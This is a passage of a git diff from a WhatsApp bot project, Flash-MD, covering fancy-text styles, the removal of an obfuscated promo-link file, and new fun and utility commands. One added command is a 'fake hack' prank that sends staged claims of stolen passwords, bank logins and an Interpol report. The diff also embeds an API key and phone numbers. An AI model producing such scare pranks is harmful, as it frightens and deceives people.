25:{"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝓪","b":"𝓫","c":"𝓬","d":"𝓭","e":"𝓮","f":"𝓯","g":"𝓰","h":"𝓱","i":"𝓲","j":"𝓳","k":"𝓴","l":"𝓵","m":"𝓶","n":"𝓷","o":"𝓸","p":"𝓹","q":"𝓺","r":"𝓻","s":"𝓼","t":"𝓽","u":"𝓾","v":"𝓿","w":"𝔀","x":"𝔁","y":"𝔂","z":"𝔃","A":"𝓐","B":"𝓑","C":"𝓒","D":"𝓓","E":"𝓔","F":"𝓕","G":"𝓖","H":"𝓗","I":"𝓘","J":"𝓙","K":"𝓚","L":"𝓛","M":"𝓜","N":"𝓝","O":"𝓞","P":"𝓟","Q":"𝓠","R":"𝓡","S":"𝓢","T":"𝓣","U":"𝓤","V":"𝓥","W":"𝓦","X":"𝓧","Y":"𝓨","Z":"𝓩" }, + 26:{"a":"𝔞","b":"𝔟","c":"𝔠","d":"𝔡","e":"𝔢","f":"𝔣","g":"𝔤","h":"𝔥","i":"𝔦","j":"𝔧","k":"𝔨","l":"𝔩","m":"𝔪","n":"𝔫","o":"𝔬","p":"𝔭","q":"𝔮","r":"𝔯","s":"𝔰","t":"𝔱","u":"𝔲","v":"𝔳","w":"𝔴","x":"𝔵","y":"𝔶","z":"𝔷","A":"𝔄","B":"𝔅","C":"ℭ","D":"𝔇","E":"𝔈","F":"𝔉","G":"𝔊","H":"ℌ","I":"ℑ","J":"𝔍","K":"𝔎","L":"𝔏","M":"𝔐","N":"𝔑","O":"𝔒","P":"𝔓","Q":"𝔔","R":"ℜ","S":"𝔖","T":"𝔗","U":"𝔘","V":"𝔙","W":"𝔚","X":"𝔛","Y":"𝔜","Z":"ℨ" }, + 27:{"`":"`","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","0":"0","-":"-",":":"=","~":"~","!":"!","@":"@","#":"#","$":"$","%":"%","^":"^","&":"&","*":"*","(":"(",")":")","_":"_","+":"+","q":"q","w":"w","e":"e","r":"r","t":"t","y":"y","u":"u","i":"i","o":"o","p":"p","[":"[","]":"]","\\":"\\","Q":"Q","W":"W","E":"E","R":"R","T":"T","Y":"Y","U":"U","I":"I","O":"O","P":"P","{":"{","}":"}","|":"|","a":"a","s":"s","d":"d","f":"f","g":"g","h":"h","j":"j","k":"k","l":"l",";":";","'":"'","A":"A","S":"S","D":"D","F":"F","G":"G","H":"H","J":"J","K":"K","L":"L",":":":","\"":"\"","z":"z","x":"x","c":"c","v":"v","b":"b","n":"n","m":"m",",":",",".":".","/":"/","Z":"Z","X":"X","C":"C","V":"V","B":"B","N":"N","M":"M","<":"<",">":">","?":"?"}, + 28:{"a":"ᴀ","b":"ʙ","c":"ᴄ","d":"ᴅ","e":"ᴇ","f":"ғ","g":"ɢ","h":"ʜ","i":"ɪ","j":"ᴊ","k":"ᴋ","l":"ʟ","m":"ᴍ","n":"ɴ","o":"ᴏ","p":"ᴘ","q":"ǫ","r":"ʀ","s":"s","t":"ᴛ","u":"ᴜ","v":"ᴠ","w":"ᴡ","x":"x","y":"ʏ","z":"ᴢ","A":"ᴀ","B":"ʙ","C":"ᴄ","D":"ᴅ","E":"ᴇ","F":"ғ","G":"ɢ","H":"ʜ","I":"ɪ","J":"ᴊ","K":"ᴋ","L":"ʟ","M":"ᴍ","N":"ɴ","O":"ᴏ","P":"ᴘ","Q":"ǫ","R":"ʀ","S":"s","T":"ᴛ","U":"ᴜ","V":"ᴠ","W":"ᴡ","X":"x","Y":"ʏ","Z":"ᴢ" }, + 29:{"a":"𝒂","b":"𝒃","c":"𝒄","d":"𝒅","e":"𝒆","f":"𝒇","g":"𝒈","h":"𝒉","i":"𝒊","j":"𝒋","k":"𝒌","l":"𝒍","m":"𝒎","n":"𝒏","o":"𝒐","p":"𝒑","q":"𝒒","r":"𝒓","s":"𝒔","t":"𝒕","u":"𝒖","v":"𝒗","w":"𝒘","x":"𝒙","y":"𝒚","z":"𝒛","A":"𝐴","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝐸","F":"𝐹","G":"𝐺","H":"𝐻","I":"𝐼","J":"𝐽","K":"𝐾","L":"𝐿","M":"𝑀","N":"𝑁","O":"𝑂","P":"𝑃","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝑉","W":"𝑊","X":"𝑋","Y":"𝑌","Z":"𝑍" }, + 30:{"a":"𝛥","b":"𝐵","c":"𝐶","d":"𝐷","e":"𝛯","f":"𝐹","g":"𝐺","h":"𝛨","i":"𝛪","j":"𝐽","k":"𝛫","l":"𝐿","m":"𝛭","n":"𝛮","o":"𝛩","p":"𝛲","q":"𝑄","r":"𝑅","s":"𝑆","t":"𝑇","u":"𝑈","v":"𝛻","w":"𝑊","x":"𝛸","y":"𝑌","z":"𝛧","A":"𝛥","B":"𝐵","C":"𝐶","D":"𝐷","E":"𝛯","F":"𝐹","G":"𝐺","H":"𝛨","I":"𝛪","J":"𝐽","K":"𝛫","L":"𝐿","M":"𝛭","N":"𝛮","O":"𝛩","P":"𝛲","Q":"𝑄","R":"𝑅","S":"𝑆","T":"𝑇","U":"𝑈","V":"𝛻","W":"𝑊","X":"𝛸","Y":"𝑌","Z":"𝛧"}, + 31:{"A":"𝚫","B":"𝚩","C":"𝐂","D":"𝐃","E":"𝚵","F":"𝐅","G":"𝐆","H":"𝚮","I":"𝚰","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝚳","N":"𝚴","O":"𝚯","P":"𝚸","Q":"𝐐","R":"𝚪","S":"𝐒","T":"𝚻","U":"𝐔","V":"𝛁","W":"𝐖","X":"𝚾","Y":"𝐘","Z":"𝚭","a":"𝚫","b":"𝚩","c":"𝐂","d":"𝐃","e":"𝚵","f":"𝐅","g":"𝐆","h":"𝚮","i":"𝚰","j":"𝐉","k":"𝐊","l":"𝐋","m":"𝚳","n":"𝚴","o":"𝚯","p":"𝚸","q":"𝐐","r":"𝚪","s":"𝐒","t":"𝚻","u":"𝐔","v":"𝛁","w":"𝐖","x":"𝚾","y":"𝐘","z":"𝚭"}, + 32:{"A":"ꪖ","B":"᥇","C":"ᥴ","D":"ᦔ","E":"ꫀ","F":"ᠻ","G":"ᧁ","H":"ꫝ","I":"ﺃ","J":"꠹","K":"ᛕ","L":"ꪶ","M":"ꪑ","N":"ꪀ","O":"ꪮ","P":"ᜣ","Q":"ꪇ","R":"᥅","S":"ᦓ","T":"ꪻ","U":"ꪊ","V":"ꪜ","W":"᭙","X":"᥊","Y":"ꪗ","Z":"ɀ","a":"ꪖ","b":"᥇","c":"ᥴ","d":"ᦔ","e":"ꫀ","f":"ᠻ","g":"ᧁ","h":"ꫝ","i":"ﺃ","j":"꠹","k":"ᛕ","l":"ꪶ","m":"ꪑ","n":"ꪀ","o":"ꪮ","p":"ᜣ","q":"ꪇ","r":"᥅","s":"ᦓ","t":"ꪻ","u":"ꪊ","v":"ꪜ","w":"᭙","x":"᥊","y":"ꪗ","z":"ɀ"}, + 33:{"ഒ":"ඉ","എ":"ᬤ","ഉ":"ຂ","ക":"ᤌ‌","ഗ":"ꪭ","ത":"ꫧ","ന":"ღ͢","മ്പ":"൩","വ":"൨","യ":"ᨨ͓","ര":"ᰍ","ി":"᭄","ീ":"ꪻ","ാ":"ꫂ","(":"ꪶ","ു":"⫰","‌്":"᷃","്":"ັ","ർ":"൪","ണ":"𑇥̅","ട":"ຮ","ട്ട":"ჴ","െ":"൭͛","ം":"◕","ഞ":"ൡ̅","േ":"ල","ൽ":"ᰢ","ന്ന":"ꢳ"}, + + }; -/** +function applyStyle(text, styleId) { + const style = fancyStyles[styleId]; + if (!style) return null; + return [...text].map(char => style[char] || char).join(''); +} -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ +module.exports = { + name: 'styles', + aliases: ['fancy'], + description: 'Convert text into fancy styles', + category: 'Fun', + get flashOnly() { + return franceking(); + }, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ + if (args.length < 2 || isNaN(args[0])) { + let previewText = '*Fancy Text Styles Preview:*\n'; + const example = 'Hello World'; + for (const [id, _] of Object.entries(fancyStyles)) { + previewText += `${id}. ${applyStyle(example, id)}\n`; + } + previewText += `\nUsage: fancy \nEg: fancy 1 Hello World`; + return king.sendMessage(fromJid, { text: previewText }, { quoted: msg }); + } -const { france } = require("../framework/france"); -const fancy = require("../commands/Styles"); - -france({ nomCom: "fancy", categorie: "Fun", reaction: "☑️" }, async (dest, zk, commandeOptions) => { - const { arg, repondre, prefixe } = commandeOptions; - const id = arg[0]?.match(/\d+/)?.join(''); - const text = arg.slice(1).join(" "); - - try { - if (id === undefined || text === undefined) { - return await repondre(`\nExample : ${prefixe}fancy 10 Flash-Md\n` + String.fromCharCode(8206).repeat(4001) + fancy.list('FLASH-MD', fancy)); - } + const styleNumber = parseInt(args[0]); + const inputText = args.slice(1).join(' '); - const selectedStyle = fancy[parseInt(id) - 1]; - if (selectedStyle) { - return await repondre(fancy.apply(selectedStyle, text)); - } else { - return await repondre('_Style introuvable :(_'); - } - } catch (error) { - console.error(error); - return await repondre('_Une erreur s\'est produite :(_'); + const styledText = applyStyle(inputText, styleNumber); + if (!styledText) { + return king.sendMessage(fromJid, { + text: `Invalid style number. Available: ${Object.keys(fancyStyles).join(', ')}` + }, { quoted: msg }); } -}); + + await king.sendMessage(fromJid, { + text: styledText + }, { quoted: msg }); + } +}; diff --git a/commands/Flaash.js b/commands/Flaash.js deleted file mode 100644 index b1bdba7f..00000000 --- a/commands/Flaash.js +++ /dev/null @@ -1,20 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -'use strict';const _0x3da531=_0x425c;(function(_0xd6778e,_0x4fd384){const _0x4060a1=_0x425c,_0x4ea66a=_0xd6778e();while(!![]){try{const _0x468670=parseInt(_0x4060a1(0xda))/0x1*(parseInt(_0x4060a1(0xdc))/0x2)+-parseInt(_0x4060a1(0xd6))/0x3*(parseInt(_0x4060a1(0xe3))/0x4)+parseInt(_0x4060a1(0xe1))/0x5*(-parseInt(_0x4060a1(0xdb))/0x6)+parseInt(_0x4060a1(0xd4))/0x7+-parseInt(_0x4060a1(0xd8))/0x8*(-parseInt(_0x4060a1(0xe0))/0x9)+-parseInt(_0x4060a1(0xd9))/0xa*(parseInt(_0x4060a1(0xd0))/0xb)+parseInt(_0x4060a1(0xde))/0xc;if(_0x468670===_0x4fd384)break;else _0x4ea66a['push'](_0x4ea66a['shift']());}catch(_0x1832ab){_0x4ea66a['push'](_0x4ea66a['shift']());}}}(_0x432a,0x841fc));function _0x432a(){const _0x400937=['../framework/france','332JEbIkU','__esModule','mon\x20test','https://whatsapp.com/channel/0029VaTbb3p84Om9LRX1jg0P','242qHBbds','log','sendMessage','wagroup','6421492ueaOAC','Commande\x20saisie\x20!!!s','3183aZuRXV','Hello\x20👋\x0a\x0aClick\x20The\x20link\x20below\x20to\x20Join\x20the\x20OFFICIAL\x20*FLASH-MD*\x20WhatsApp\x20Channel.\x0a\x0a','376czhBYk','489460cnPZmY','4639gIXFAQ','342nNNTal','130POBlcP','https://chat.whatsapp.com/IH4xWuVTGpf7ibfzC3h6LM','16708284tdgbGX','Hello\x20👋\x0a\x0aClick\x20The\x20link\x20below\x20to\x20Join\x20the\x20OFFICIAL\x20*FLASH-MD*\x20WhatsApp\x20Group\x0a\x0a','25731fkOrko','91190TNizar'];_0x432a=function(){return _0x400937;};return _0x432a();}Object['defineProperty'](exports,_0x3da531(0xe4),{'value':!![]});function _0x425c(_0x4478f2,_0x3985d4){const _0x432a5c=_0x432a();return _0x425c=function(_0x425cf5,_0x461007){_0x425cf5=_0x425cf5-0xce;let _0x5a4d1d=_0x432a5c[_0x425cf5];return _0x5a4d1d;},_0x425c(_0x4478f2,_0x3985d4);}const {france}=require(_0x3da531(0xe2));france({'nomCom':_0x3da531(0xd3),'reaction':'😌','nomFichier':__filename},async(_0x178233,_0x56dc7d,_0x27aadc)=>{const _0x2207a7=_0x3da531;console[_0x2207a7(0xd1)](_0x2207a7(0xd5));let _0x933d8e=_0x2207a7(0xdf),_0x14ca84=_0x2207a7(0xdd),_0x1a7224=_0x933d8e+_0x14ca84;var _0x172263='https://telegra.ph/file/6771f559b5e3138ee8610.jpg';await _0x56dc7d[_0x2207a7(0xd2)](_0x178233,{'image':{'url':_0x172263},'caption':_0x1a7224});}),console[_0x3da531(0xd1)](_0x3da531(0xce)),france({'nomCom':'channel','reaction':'🤍','nomFichier':__filename},async(_0xe689b2,_0x262c60,_0x5a0d3a)=>{const _0x4c4871=_0x3da531;console['log'](_0x4c4871(0xd5));let _0x2f31fc=_0x4c4871(0xd7),_0x29242c=_0x4c4871(0xcf),_0x3a5888=_0x2f31fc+_0x29242c;var _0x4e7804='https://telegra.ph/file/6771f559b5e3138ee8610.jpg';await _0x262c60[_0x4c4871(0xd2)](_0xe689b2,{'image':{'url':_0x4e7804},'caption':_0x3a5888});}),console[_0x3da531(0xd1)]('mon\x20test'); diff --git a/commands/Fun.js b/commands/Fun.js new file mode 100644 index 00000000..8cd90940 --- /dev/null +++ b/commands/Fun.js @@ -0,0 +1,416 @@ + +const { axios } = require('axios'); +const { Sticker, StickerTypes } = require('wa-sticker-formatter'); +const { franceking } = require('../main'); + +module.exports = [ + { + name: 'exchange', + aliases: ['rate', 'rates'], + category: 'Finance', + description: 'Convert currency using live exchange rate', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (args.length < 3) { + return king.sendMessage(fromJid, { + text: 'Please provide the amount, from currency, and to currency.\n\nExample: *.exchange 100 usd kes*' + }, { quoted: msg }); + } + + const [amountRaw, fromCurrency, toCurrency] = args; + const amount = parseFloat(amountRaw); + + if (isNaN(amount)) { + return king.sendMessage(fromJid, { + text: 'Invalid amount. Please enter a valid number.' + }, { quoted: msg }); + } + + try { + const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${fromCurrency.toUpperCase()}`); + const rates = response.data.rates; + + if (!rates[toCurrency.toUpperCase()]) { + return king.sendMessage(fromJid, { + text: 'Currency conversion rate not available.' + }, { quoted: msg }); + } + + const convertedAmount = (amount * rates[toCurrency.toUpperCase()]).toFixed(2); + + return king.sendMessage(fromJid, { + text: `${amount} ${fromCurrency.toUpperCase()} = ${convertedAmount} ${toCurrency.toUpperCase()}` + }, { quoted: msg }); + + } catch (error) { + return king.sendMessage(fromJid, { + text: '❌ An error occurred while converting currency. Please try again later.' + }, { quoted: msg }); + } + } +}, +{ + name: 'currency', + description: 'Converts one currency to another using live exchange rates', + category: 'Finance', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args[0] || args.length < 3) { + return king.sendMessage(fromJid, { + text: "Please provide the amount, from currency, and to currency. Example: *.currency 100 usd kes*" + }, { quoted: msg }); + } + + const [amountRaw, fromCurrency, toCurrency] = args; + const amount = parseFloat(amountRaw); + + if (isNaN(amount)) { + return king.sendMessage(fromJid, { + text: "Invalid amount. Please provide a number. Example: *.currency 50 eur usd*" + }, { quoted: msg }); + } + + try { + const response = await axios.get(`https://api.exchangerate-api.com/v4/latest/${fromCurrency.toUpperCase()}`); + const data = response.data; + const rates = data.rates; + + if (!rates[toCurrency.toUpperCase()]) { + return king.sendMessage(fromJid, { + text: `Invalid target currency *${toCurrency.toUpperCase()}*. Use *.currencyinfo* to view supported currencies.` + }, { quoted: msg }); + } + + const convertedAmount = (amount * rates[toCurrency.toUpperCase()]).toFixed(2); + const updateDate = new Date(data.time_last_updated * 1000); + + let info = `*💱 Currency Conversion 💱*\n\n`; + info += `🌍 Base: ${data.base}\n`; + info += `🔄 Updated: ${updateDate.toLocaleDateString()} - ${updateDate.toLocaleTimeString()}\n\n`; + info += `💵 ${amount} ${fromCurrency.toUpperCase()} = ${convertedAmount} ${toCurrency.toUpperCase()}\n`; + info += `💸 Rate: 1 ${fromCurrency.toUpperCase()} = ${rates[toCurrency.toUpperCase()]} ${toCurrency.toUpperCase()}`; + + await king.sendMessage(fromJid, { text: info }, { quoted: msg }); + + } catch (error) { + await king.sendMessage(fromJid, { + text: "❌ An error occurred while converting currency.\nMake sure your currency codes are valid.\nUse *.currencyinfo* to see all supported currencies." + }, { quoted: msg }); + } + } +}, + { + name: 'imdb', + aliases: ['movie', 'film'], + description: 'Search for a movie or series using IMDb API', + category: 'Search', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args[0]) { + return king.sendMessage(fromJid, { + text: '🎬 Provide the name of a movie or series. Example: *.imdb Inception*' + }, { quoted: msg }); + } + + const query = args.join(" "); + try { + const response = await axios.get(`http://www.omdbapi.com/?apikey=742b2d09&t=${encodeURIComponent(query)}&plot=full`); + const imdb = response.data; + + if (imdb.Response === 'False') { + return king.sendMessage(fromJid, { + text: `❌ Could not find results for "${query}".` + }, { quoted: msg }); + } + + let info = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n"; + info += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n"; + info += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n"; + info += `🎬 Title: ${imdb.Title}\n`; + info += `📅 Year: ${imdb.Year}\n`; + info += `⭐ Rated: ${imdb.Rated}\n`; + info += `📆 Release: ${imdb.Released}\n`; + info += `⏳ Runtime: ${imdb.Runtime}\n`; + info += `🌀 Genre: ${imdb.Genre}\n`; + info += `👨🏻‍💻 Director: ${imdb.Director}\n`; + info += `✍ Writers: ${imdb.Writer}\n`; + info += `👨 Actors: ${imdb.Actors}\n`; + info += `📃 Synopsis: ${imdb.Plot}\n`; + info += `🌐 Language: ${imdb.Language}\n`; + info += `🌍 Country: ${imdb.Country}\n`; + info += `🎖️ Awards: ${imdb.Awards}\n`; + info += `📦 Box Office: ${imdb.BoxOffice}\n`; + info += `🏙️ Production: ${imdb.Production}\n`; + info += `🌟 IMDb Rating: ${imdb.imdbRating}\n`; + info += `❎ IMDb Votes: ${imdb.imdbVotes}\n`; + info += `🎥 Watch Online: https://www.google.com/search?q=watch+${encodeURIComponent(imdb.Title)}+online\n`; + + await king.sendMessage(fromJid, { + image: { url: imdb.Poster }, + caption: info + }, { quoted: msg }); + + } catch (error) { + return king.sendMessage(fromJid, { + text: "❌ An error occurred while searching IMDb." + }, { quoted: msg }); + } + } +}, + { + name: 'emomix', + aliases: ['emojimix'], + category: 'Converter', + description: 'Mixes two emojis into one sticker', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + if (!args[0] || args.length !== 1) { + return king.sendMessage(fromJid, { + text: "Incorrect use. Example: *.emomix 😀;🥰*" + }, { quoted: msg }); + } + + const emojis = args.join(' ').split(';'); + if (emojis.length !== 2) { + return king.sendMessage(fromJid, { + text: "Please specify two emojis using a `;` separator." + }, { quoted: msg }); + } + + const emoji1 = emojis[0].trim(); + const emoji2 = emojis[1].trim(); + + try { + const response = await axios.get(`https://levanter.onrender.com/emix?q=${emoji1}${emoji2}`); + + if (response.data?.status) { + const stickerMess = new Sticker(response.data.result, { + pack: 'FLASH-MD', + type: StickerTypes.CROPPED, + categories: ['🤩', '🎉'], + id: '12345', + quality: 70, + background: 'transparent' + }); + + const buffer = await stickerMess.toBuffer(); + await king.sendMessage(fromJid, { + sticker: buffer + }, { quoted: msg }); + + } else { + return king.sendMessage(fromJid, { + text: 'Unable to create emoji mix.' + }, { quoted: msg }); + } + + } catch (err) { + return king.sendMessage(fromJid, { + text: 'An error occurred while creating the emoji mix: ' + err.message + }, { quoted: msg }); + } + } +}, + { + name: 'hack', + aliases: ['fakehack', 'h4ck'], + description: 'Fake hack for fun 😈', + category: 'Fun', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); + + const creatorNumbers = ['254757835036', '254742063632']; + const senderNumber = fromJid.replace(/[^0-9]/g, ''); + + if (creatorNumbers.includes(senderNumber)) { + return king.sendMessage(fromJid, { + text: '🛑 No way, I can\'t hack my creator 🤝🐐' + }, { quoted: msg }); + } + + const randomIP = () => `${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`; + const fakeFiles = ['passwords.txt', 'bank_logins.csv', 'nudes.zip', 'crypto_keys.txt', 'facebook_tokens.json']; + const randomDevice = [ + 'Samsung Galaxy A52', 'Tecno Spark 10', 'Infinix Hot 30', + 'Huawei Y9 Prime', 'iTel S23+', 'Xiaomi Redmi Note 11', + 'Nokia G21', 'Oppo A58', 'Realme C35', 'Vivo Y33s', + 'OnePlus Nord N20', 'HTC U20', 'Motorola G Stylus', 'Sony Xperia 10' + ]; + + const progressSteps = [ + `[▓░░░░░░░░░] 10%`, + `[▓▓░░░░░░░░] 20%`, + `[▓▓▓░░░░░░░] 30%`, + `[▓▓▓▓░░░░░░] 40%`, + `[▓▓▓▓▓░░░░░] 50%`, + `[▓▓▓▓▓▓░░░░] 60%`, + `[▓▓▓▓▓▓▓░░░] 70%`, + `[▓▓▓▓▓▓▓▓░░] 80%`, + `[▓▓▓▓▓▓▓▓▓░] 90%`, + `[▓▓▓▓▓▓▓▓▓▓] 100%` + ]; + + const messages = [ + `🔌 Connecting to device: ${randomDevice[Math.floor(Math.random() * randomDevice.length)]}`, + `🌐 IP Address: ${randomIP()}`, + `📡 Signal strength: ▓▓▓▓▓▓▓▓▓▒ 95%`, + `🧬 Accessing personal files...`, + `📂 File found: *${fakeFiles[Math.floor(Math.random() * fakeFiles.length)]}*`, + `📂 File found: *${fakeFiles[Math.floor(Math.random() * fakeFiles.length)]}*`, + `🧾 Reading browser history...`, + `🔍 Found suspicious activity on dark web...`, + `💸 Linked bank accounts detected...`, + `🚨 Transferring ₿ crypto assets...`, + `🧪 Injecting malware into WhatsApp backup...`, + `💾 Download complete.`, + `🧹 Deleting traces...`, + `💀 Hack complete. Target is now under our control.`, + `🛑 *Warning:* This hack has triggered a report to Interpol. Good luck 😈` + ]; + + const progressMsg = await king.sendMessage(fromJid, { + text: `💻 Hacking progress:\n${progressSteps[0]}` + }, { quoted: msg }); + + for (let i = 1; i < progressSteps.length; i++) { + await sleep(1000); + await king.relayMessage( + fromJid, + { + protocolMessage: { + key: progressMsg.key, + type: 14, + editedMessage: { + conversation: `💻 Hacking progress:\n${progressSteps[i]}` + } + } + }, + {} + ); + } + + for (const line of messages) { + await sleep(1500); + await king.sendMessage(fromJid, { + text: line + }, { quoted: msg }); + } + } + }, + { + name: 'love', + aliases: ['compatibility', 'lovetest'], + description: 'Calculate love compatibility between two people ❤️', + category: 'Fun', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const senderName = msg.pushName || 'User'; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant; + const quotedName = msg.message?.extendedTextMessage?.contextInfo?.participant || ''; + let user1 = senderName; + let user2 = ''; + + if (msg.message?.extendedTextMessage?.contextInfo?.quotedMessage) { + user2 = quotedName.replace(/@s\.whatsapp\.net$/, ''); + } else if (args.length > 0) { + user2 = args.join(' '); + } else { + return king.sendMessage(fromJid, { + text: 'Please mention someone or reply to their message. Example: *.love @Marie*' + }, { quoted: msg }); + } + + const percentage = Math.floor(Math.random() * 101); + let emoji = '❤️'; + if (percentage < 25) emoji = '💔'; + else if (percentage < 50) emoji = '🤔'; + else if (percentage < 75) emoji = '😊'; + else emoji = '💖'; + + const response = `--- Compatibility Test ---\n\n` + + `❤️ Person 1: *${user1}*\n` + + `❤️ Person 2: *${user2}*\n\n` + + `Their compatibility is: *${percentage}%* ${emoji}`; + + await king.sendMessage(fromJid, { text: response }, { quoted: msg }); + } +}, + { + name: 'flip', + aliases: ['coin', 'toss'], + description: 'Toss a coin and get HEADS or TAILS 🪙', + category: 'Fun', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); + + const coinMsg = await king.sendMessage(fromJid, { + text: '🪙 Tossing the coin in the air...' + }, { quoted: msg }); + + await sleep(1000); + + await king.relayMessage( + fromJid, + { + protocolMessage: { + key: coinMsg.key, + type: 14, + editedMessage: { + conversation: '🌀 The coin is spinning... spinning...' + } + } + }, + {} + ); + + await sleep(1500); + + const result = Math.random() < 0.5 ? 'HEADS' : 'TAILS'; + + const finalText = `🪙 The coin has landed!\n\nResult: It's *${result}*!`; + + await king.relayMessage( + fromJid, + { + protocolMessage: { + key: coinMsg.key, + type: 14, + editedMessage: { + conversation: finalText + } + } + }, + {} + ); + } +} ]; diff --git a/commands/Games.js b/commands/Games.js deleted file mode 100644 index 6aa0e0aa..00000000 --- a/commands/Games.js +++ /dev/null @@ -1,232 +0,0 @@ -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 